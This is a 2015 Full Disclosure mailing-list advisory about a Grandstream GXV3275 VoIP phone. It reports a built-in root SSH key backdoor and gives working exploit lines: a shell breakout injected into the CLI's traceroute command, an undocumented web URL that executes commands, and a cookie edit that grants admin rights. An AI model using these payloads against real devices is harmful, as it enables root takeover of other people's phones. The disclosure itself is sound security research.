full-disclosure - [FD] Grandstream VoIP phone: SSH key backdoor and multiple vulnerabilities leading to RCE as root

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Message-ID: <CAO33bZWF8PG_Gr_0RuiJP3TNnv_xGFnAnds+pXBA0dL-y61w+A@mail.gmail.com>
Date: Tue, 7 Jul 2015 15:24:21 +1000
From: David Jorm <david.jorm@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Grandstream VoIP phone: SSH key backdoor and multiple
 vulnerabilities leading to RCE as root

The Grandstream GXV3275 is an Android-based VoIP phone. Several
vulnerabilities were found affecting this device.

* The device ships with a default root SSH key, which could be used as a
backdoor:

/system/root/.ssh # cat authorized_keys
Public key portion is:
ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAAAgwCIcYbgmdHTpTeDcBA4IOg5Z7d2By0GXGihZzcTxZC+YTWGUe/HJc+pYDpDrGMWg0hMqd+JPs1GaLNw4pw0Mip6VMT7VjoZ8Z+n2ULNyK1IoTU4C3Ea4vcYVR8804Pvh9vXxC0iuMEr1Jx7SewUwSlABX04uVpEObgnUhpi+hn/H34/
jhzhao@...hao-Lenovo
Fingerprint: md5 7b:6e:a0:00:19:54:a6:39:84:1f:f9:18:2e:79:61:b5

This issue has not been resolved.

* The SSH interface only provides access to a limited CLI. The CLI's ping
and traceroute commands will pass user input as parameters to underlying
system commands without escaping shell metacharacters. This can be
exploited to break out to a shell:

GXV3275 > traceroute $(sh)

This shell will only see stderr, so we then need to run sh with stdout
redirected to stderr:

sh 1>&2

This issue has been resolved in firmware version 1.0.3.30.

* The web interface exposes an undocumented command execution API:

http://DEVICEIP/manager?action=execcmd&command=echo%20%22hello%22%20%3E%20/system/root/test.txt

This issue has been resolved in firmware version 1.0.3.30.

* The web interface allows unprivileged users to escalate privileges by
modifying a cookie on the client side:

javascript:void(document.cookie="type=admin")

Full details are available here:

http://davidjorm.blogspot.com/2015/07/101-ways-to-pwn-phone.html

MITRE was contacted repeatedly requesting CVE names for these issues, but
never replied.

David

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